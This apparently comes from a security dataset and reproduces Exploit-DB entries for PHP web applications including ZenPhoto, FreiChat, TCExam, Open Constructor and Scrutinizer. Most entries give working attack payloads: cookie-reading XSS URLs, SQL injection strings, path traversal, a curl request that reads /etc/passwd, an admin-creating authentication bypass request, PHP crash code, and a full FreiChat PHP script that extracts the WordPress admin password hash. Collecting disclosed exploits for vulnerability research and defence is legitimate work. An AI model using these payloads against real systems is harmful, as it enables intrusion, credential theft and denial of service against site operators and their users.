QLWD/code_shield huggingface dataset:
标题: ZenPhoto 1.4.8 - Multiple Vulnerabilities EDB-ID: 37602 CVE: 2015-5595 2015-5594 2015-5591 类型: WEBAPPS 平台: PHP 发布日期: 2015-07-13 漏洞利用脚本: Vulnerability: SQL Injection, Reflected XSS, Path Traversal
Affected Software: ZenPhoto (http://www.zenphoto.org/)
Affected Version: 1.4.8 (probably also prior versions)
Patched Version: 1.4.9
Risk: Medium
Vendor Contacted: 2015-05-18
Vendor Fix: 2015-07-09
Public Disclosure: 2015-07-10

SQL Injection
=============

  There are multiple second order error based SQL injections into the
ORDER BY keyword in the admin area.

   - visit zp-core/admin-options.php?saved&tab=gallery
     alternatively visit zp-core/admin-options.php?saved&tab=image
   - Set "Sort gallery by" to "Custom"
   - set custom fields to "id,extractvalue(0x0a,concat(0x0a,(select
version())))%23"
   - visit zp-core/admin-upload.php?page=upload&tab=http&type=images
   - alternatively, visiting either of these will also trigger the injection:
    /
    zp-core/admin-edit.php
    zp-core/admin-users.php?page=users
    zp-core/admin-themes.php

  The result is only directly displayed if the server is configured to
report errors, but it can also be seen in the logfile located at
zp-core/admin-logs.php?page=logs

XSS 1
=====

  http://localhost/zenphoto-zenphoto-1.4.8/zp-core/admin-upload.php?error=%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%2Fscript%26gt%3B
  http://localhost/zenphoto-zenphoto-1.4.8/zp-core/utilities/backup_restore.php?compression=%26lt%3Bscript%26gt%3Balert%281%29%26lt%3B%2Fscript%26gt%3B

    The payload must first be HTML entity-encoded, and then URL encoded.

XSS 2
=====


http://localhost/zenphoto-security-fixes/zp-core/admin.php?action=external&error="
onmouseover="alert('xsstest')" foo="bar&msg=hover over me!

Directory Traversal
===================

  For an admin, it is possible to view and edit any PHP or inc files, not
just the ones inside the theme directory.

  http://localhost/zenphoto-zenphoto-1.4.8/zp-core/admin-themes-editor.php?theme=../../../../../var/www&file=secret.php


Execute Function
================

An admin user can execute any function they want via this URL (there is
no CSRF protection for it):

    localhost/zenphoto-security-fixes/zp-core/admin.php?action=phpinfo

This gives up some control over the control flow of the site, which
might cause problems, especially considering the missing of CSRF protection.

Source
======

http://software-talk.org/blog/2015/07/second-order-sql-injection-reflected-xss-path-traversal-function-execution-vulnerability-zenphoto/ URL: https://www.exploit-db.com/exploits/37602
标题: WordPress Plugin Swim Team 1.44.10777 - Arbitrary File Download EDB-ID: 37601 CVE: 2015-5471 类型: WEBAPPS 平台: PHP 发布日期: 2015-07-13 漏洞利用脚本: Title: Remote file download vulnerability in Wordpress Plugin wp-swimteam v1.44.10777
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-02
Download Site: https://wordpress.org/plugins/wp-swimteam
Vendor: Mike Walsh www.MichaelWalsh.org
Vendor Notified: 2015-07-02, fixed in v1.45beta3
Vendor Contact: Through website
Advisory: http://www.vapid.dhs.org/advisory.php?v=134
Description: Swim Team (aka wp-SwimTeam) is a comprehensive WordPress plugin to run a swim team including registration, volunteer assignments, scheduling, and much more.
Vulnerability:
The code in ./wp-swimteam/include/user/download.php doesn't sanitize user input from downloading sensitive system files:


 50             $file = urldecode($args['file']) ;
 51             $fh = fopen($file, 'r') or die('Unable to load file, something bad has happened.') ;
 52 
 53             while (!feof($fh))
 54                 $txt .= fread($fh, 1024) ;
 55 
 56             //  Clean up the temporary file - permissions
 57             //  may prevent this from succeedeing so use the '@'
 58             //  to suppress any messages from PHP.
 59 
 60             @unlink($file) ;
 61         }
 62 
 63         $filename = urldecode($args['filename']) ;
 64         $contenttype = urldecode($args['contenttype']) ;
 65 
 66         // Tell browser to expect a text file of some sort (usually txt or csv)
 67 
 68         header(sprintf('Content-Type: application/%s', $contenttype)) ;
 69         header(sprintf('Content-disposition:  attachment; filename=%s', $filename)) ;
 70         print $txt ;

CVEID:
OSVDB:
Exploit Code:

  • $ curl "http://server/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress" URL: https://www.exploit-db.com/exploits/37601
标题: TCExam 11.2.x - '/admin/code/tce_edit_answer.php' Multiple SQL Injections EDB-ID: 37584 CVE: 2012-4237 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/54861/info

TCExam is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Versions prior to TCExam 11.3.008 are vulnerable. 

http://www.example.com/admin/code/tce_edit_answer.php?subject_module_id
http://www.example.com/admin/code/tce_edit_answer.php?question_subject_id URL: https://www.exploit-db.com/exploits/37584
标题: phpList 2.10.18 - 'unconfirmed' Cross-Site Scripting EDB-ID: 37590 CVE: 2012-3952 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/54887/info

PHPList is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHPList 2.10.18 is vulnerable; other versions may also be affected.

http://www.example.com/admin/?page=user&find=1&unconfirmed=%22%3 %3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E URL: https://www.exploit-db.com/exploits/37590
标题: TCExam 11.2.x - '/admin/code/tce_edit_question.php?subject_module_id' SQL Injection EDB-ID: 37585 CVE: 2012-4237 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/54861/info
 
TCExam is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
Versions prior to TCExam 11.3.008 are vulnerable. 

http://www.example.com/admin/code/tce_edit_question.php?subject_module_id URL: https://www.exploit-db.com/exploits/37585
标题: FreiChat 9.6 - SQL Injection EDB-ID: 37592 CVE: 2015-6512 类型: WEBAPPS 平台: PHP 发布日期: 2015-07-13 漏洞利用脚本: /*
# Exploit Title: FreiChat 9.6 SQL Injection
# Date: 27-11-2014
# Software Link: http://codologic.com/page/freichat-free-php-chat-script-software
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
$_GET['time'] is not escaped.

File: freichat\server\plugins\chatroom\chatroom.php

$get_mesg = $this->get_messages($_GET['time']);
public function get_messages($time) {

    $frm_id = $this->frm_id;
    $result = array();

    if ($time == 0) {
  //$get_mesg_query = "SELECT DISTINCT * FROM frei_chat WHERE frei_chat.\"to\"=" . $frm_id . "AND time<2 order by time";
    } else {
        $get_mesg_query = "SELECT * FROM frei_chat WHERE frei_chat.\"to\"=" . $frm_id . " AND time>" . $time . " AND message_type<>1 order by time ";
        $result = $this->db->query($get_mesg_query)->fetchAll();
    }


    return $result;
}

http://security.szurek.pl/freichat-96-sql-injection.html

2. Proof of Concept

Example for WordPress integration (it will give you admin password):
*/

<?php
/*
 * Kacper Szurek
 * http://security.szurek.pl
 */
function hack($url, $cookie, $sql ){

$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$content = curl_exec($ch);

if (preg_match('|http://(.*?)/freichat/client/main\.php\?id=([a-zA-Z0-9]+)&xhash=([a-zA-Z0-9]+)|i', $content, $matches)) {
    curl_setopt($ch, CURLOPT_URL, 'http://'.$matches[1].'/freichat/server/freichat.php?freimode=getmembers&id='.$matches[2].'&xhash='.$matches[3]);
    $content = curl_exec($ch);

    curl_setopt($ch, CURLOPT_URL, 'http://'.$matches[1].'/freichat/server/freichat.php?freimode=loadchatroom&id='.$matches[2].'&xhash='.$matches[3].'&in_room=1&chatroom_mesg_time=1&custom_mesg=1&time='.urlencode($sql));

    $content = curl_exec($ch);

    if (preg_match('|"room_id":"([^"]+)"|', $content, $output)) {
        echo "WordPress password user ID=1: ".$output[1];
    } else {
        echo "FAIL";
    }
}

curl_close( $ch );
}

// URL to WordPress main URL
$url = "http://wp/";

// SQL Payload
$sql = "1 UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, user_pass FROM wp_users WHERE ID=1 -- ";

$cookie = "/cookie.txt";

hack($url, $cookie, $sql); URL: https://www.exploit-db.com/exploits/37592
标题: Open Constructor - 'confirm.php?q' Cross-Site Scripting EDB-ID: 37580 CVE: 2012-3872 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/54822/info
  
Open Constructor is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
  
Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Open Constructor 3.12.0 is vulnerable; other versions may also be affected. 

http://www.example.com/openconstructor/confirm.php?q=<script>alert('XSS')</script>skin=metallic URL: https://www.exploit-db.com/exploits/37580
标题: Open Constructor - '/users/users.php?keyword' Cross-Site Scripting EDB-ID: 37578 CVE: 2012-3872 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/54822/info

Open Constructor is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Open Constructor 3.12.0 is vulnerable; other versions may also be affected. 

http://www.example.com/openconstructor/users/users.php?type=multiple&keyword=<script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/37578
标题: Open Constructor - '/data/file/edit.php?result' Cross-Site Scripting EDB-ID: 37579 CVE: 2012-3872 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/54822/info
 
Open Constructor is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
 
Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Open Constructor 3.12.0 is vulnerable; other versions may also be affected. 

http://www.example.com/openconstructor/data/file/edit.php?result=<script>aler('xss')</script>&id=new&ds_id=8&hybridid=&fieldid=&callback=&type=txt&name=test&description=test&fname=test&create=Save URL: https://www.exploit-db.com/exploits/37579
标题: Dir2web - '/system/src/dispatcher.php?oid' SQL Injection EDB-ID: 37581 CVE: 2012-4070 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/54845/info

Dir2web is prone to multiple security vulnerabilities, including an SQL-Injection vulnerability and an information-disclosure vulnerability.

Successfully exploiting these issues allows remote attackers to compromise the software, retrieve information, modify data, disclose sensitive information, or gain unauthorized access; other attacks are also possible.

Dir2web versions 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?wpid=homepage&oid=6a303a0aaa&apos; OR id > 0-- - URL: https://www.exploit-db.com/exploits/37581
标题: Alligra Calligra - Heap Buffer Overflow EDB-ID: 37576 CVE: 2012-3456 类型: REMOTE 平台: LINUX 发布日期: 2012-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/54816/info

Calligra is prone to a remote buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Calligra 2.4.3 and KOffice 2.3.3 are vulnerable; other versions may also be affected. 

bool STD::read( U16 baseSize, U16 totalSize, OLEStreamReader* stream, bool
preservePos )
...
grupxLen = totalSize - ( stream->tell() - startOffset );
grupx = new U8[ grupxLen ];
int offset = 0;
for ( U8 i = 0; i < cupx; ++i) {
U16 cbUPX = stream->readU16(); // size of the next UPX
stream->seek( -2, G_SEEK_CUR ); // rewind the "lookahead"
cbUPX += 2; // ...and correct the size
for ( U16 j = 0; j < cbUPX; ++j ) {
grupx[ offset + j ] = stream->readU8(); // read the whole UPX
} URL: https://www.exploit-db.com/exploits/37576
标题: Mahara 1.4.1 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities EDB-ID: 37565 CVE: 2012-2237 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/54776/info

Mahara is prone to multiple cross-site scripting vulnerabilities and an HTML-injection vulnerability because it fails to properly sanitize user-supplied text.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Mahara versions prior to 1.5.2 and prior to 1.4.3 are vulnerable. 

 http://www.example.com/mahara-1.5.1/mahara-1.5.1/htdocs/admin/users/changeuser.php?xss=\x22\x3E\x3C\x68\x31\x3E\x58\x53\x53\x3C\x2F\x68\x31\x3E\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x39\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29\x3E URL: https://www.exploit-db.com/exploits/37565
标题: PHP 5.4.3 - PDO Memory Access Violation Denial of Service EDB-ID: 37566 CVE: 2012-3450 类型: DOS 平台: PHP 发布日期: 2012-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/54777/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the web server to crash, denying service to legitimate users.

PHP 5.4.3 is vulnerable; other versions may also be affected. 

<?php
 try {
 $db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
 //tokens: 
 // SELECT;*;from;'user';/*
 //$sql = "SELECT * from 'user'/*";
 $stmt = $db->prepare("SELECT * from 'user'".mysql_real_escape_string($_GET['query']));
 $stmt->execute();
 //crash
 $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
 $stmt->fetch(PDO::FETCH_BOUND);
 print_r( $type);
 }
 catch (Exception $e)
 {
 echo "Failed: " . $e->getMessage();
 }
 ?>
 -----
 <?php
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");

//tokens:
// SELECT;*;from;'user';/* 
$sql = ":/*";

$stmt = $db->prepare($sql);
$stmt->execute();     // crashes php worker in pdo_parse_params()

$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
}

?>
---

<pre>
<?php
echo "hmm beginning\n";
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
echo "lets get it on\n";
//tokens:
// SELECT;*;from;'user';/* 
$sql = "SELECT * from user :/**";
echo $sql;
$stmt = $db->prepare($sql);
echo "prepared :)\n";
print_r($stmt);
$stmt->execute();     // crashes php worker in pdo_parse_params()
print_r($stmt);
echo "executed :(\n";
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
echo "--data-\n";
print_r( $type);
echo "--data--\n";

} catch (Exception $e) {
        echo "EXCEPTION";
  echo "Failed: " . $e->getMessage();
}
echo "hmmm end\n";
?>
</pre>

Actual result:
--------------
root@bt:/opt/lampp# gdb ./bin/php 
(gdb) run poc_pdo_linux_short_1.php
Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x08228a81 in ?? ()
(gdb) bt
#0  0x08228a81 in ?? ()
#1  0x082280eb in pdo_parse_params ()
#2  0x08223891 in ?? ()
#3  0x084b2aad in ?? ()
#4  0x084b1f87 in execute ()
#5  0x08490ed2 in zend_execute_scripts ()
#6  0x0843f13c in php_execute_script ()
#7  0x08506b46 in main () URL: https://www.exploit-db.com/exploits/37566
标题: Scrutinizer 9.0.1.19899 - Arbitrary File Upload EDB-ID: 37548 CVE: 2012-2627 类型: WEBAPPS 平台: PHP 发布日期: 2012-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/54726/info

Scrutinizer is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request
POST /d4d/uploader.php HTTP/1.0
Host: A.B.C.D
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: multipart/form-data; boundary=_Part_949_3365333252_3066945593
Content-Length: 210


--_Part_949_3365333252_3066945593
Content-Disposition: form-data; 
name="uploadedfile"; filename="trustwave.txt"
Content-Type: application/octet-stream

trustwave

--_Part_949_3365333252_3066945593--

#Response
HTTP/1.1 200 OK
Date: Wed, 25 Apr 2012 17:39:15 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-Length: 41
Connection: close
Content-Type: text/html

{"success":1,"file_name":"trustwave.txt"}

#Confirming on File System
C:\>type "Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt"
trustwave URL: https://www.exploit-db.com/exploits/37548
标题: Scrutinizer 9.0.1.19899 - HTTP Authentication Bypass EDB-ID: 37549 CVE: 2012-2626 类型: WEBAPPS 平台: CGI 发布日期: 2012-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/54727/info

Scrutinizer is prone to an authentication-bypass vulnerability.

Exploiting this issue may allow an attacker to bypass certain security restrictions and perform unauthorized actions.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request
POST /cgi-bin/admin.cgi HTTP/1.1
Host: 10.70.70.212
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Length: 70

tool=userprefs&newUser=trustwave&pwd=trustwave&selectedUserGroup=1

#Response
HTTP/1.1 200 OK
Date: Wed, 25 Apr 2012 17:52:15 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 19
Content-Type: text/html; charset=utf-8

{"new_user_id":"2"} URL: https://www.exploit-db.com/exploits/37549
标题: JW Player - 'playerready' Cross-Site Scripting EDB-ID: 37552 CVE: 2012-3351 类型: WEBAPPS 平台: PHP 发布日期: 2012-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/54739/info

JW Player is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Note: The vulnerability related to 'logo.link' parameter has been moved to BID 55199 for better documentation. 

http://www.example.com/player.swf?playerready=alert(document.cookie) URL: https://www.exploit-db.com/exploits/37552
标题: Scrutinizer 9.0.1.19899 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37547 CVE: 2012-3848 类型: WEBAPPS 平台: PHP 发布日期: 2012-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/54725/info

Scrutinizer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. 

#Request 1
GET /d4d/exporters.php?a<script>alert(123)</script>=1 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive

#Response 1
<snip>
<a href="/d4d/exporters.php?a<script>alert(1)</script>=1">/d4d/exporters.php?a<script>alert(123)</script>=1</a></td></tr>
<snip>

#Request 2
GET /d4d/exporters.php HTTP/1.1
Host: A.B.C.D
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1
Content-Length: 2

#Response 2
<snip>
<a href="http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1">http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1</a>
<snip> URL: https://www.exploit-db.com/exploits/37547